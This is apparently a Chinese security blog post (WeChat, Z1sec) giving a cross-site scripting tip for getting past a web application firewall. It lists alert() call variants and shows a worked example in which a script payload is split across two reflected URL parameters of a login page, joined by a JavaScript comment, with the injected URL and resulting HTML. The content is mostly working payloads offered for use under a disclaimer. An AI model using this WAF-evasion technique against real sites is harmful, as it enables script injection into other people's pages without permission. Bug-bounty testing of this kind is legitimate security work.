【XSS Tips】分割构造Payload绕过Waf
原文链接: https://mp.weixin.qq.com/s?__biz=Mzg3NzU1NzIyMg==&mid=2247485097&idx=1&sn=8fe2a206087e4cd0d32cb94a4905630e
【XSS Tips】分割构造Payload绕过Waf
原创 z1 Z1sec 2025-07-11 06:50
免责声明:
由于传播、利用本公众号Z1sec所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
分割绕过Waf
众所周知,
alert(111)
可以弹窗
同样的道理,这样也可以
alert`111`
这样也行:
(alert)(1)
这样也可以:
(alert)/*aaaaaaasasas*/(1)
alert/*aaaaaaasasas*/(1)
alert/*aaaaaaasasas*/`1`
那么在现实情况中,我们可以用这种特性构造payload,将alert和后面的括号分开,以此绕过waf。
给各位爷来个案例:
一个SRC,链接中有两个参数,两个参数都在前端返回,并且可以插入html代码。
http://www.xxx.com/ca/login?error=111&url=222
返回:
...
<p>
111
</p>
<input type="hidden" name="url" value="222">
...
如果单独在error或者url参数上进行xss测试则无法绕过waf,但如果利用前文中的注释的方式将payload分为2块,然后执行,即可绕过waf:
http://www.xxx.com/ca/login?error=111<script>alert/*&url=222*/(11)</script>
返回:
...
<p>
111<script>alert/*
</p>
<input type="hidden" name="url" value="222*/(11)</script>">
...
这样则可以做到bypass绕过waf: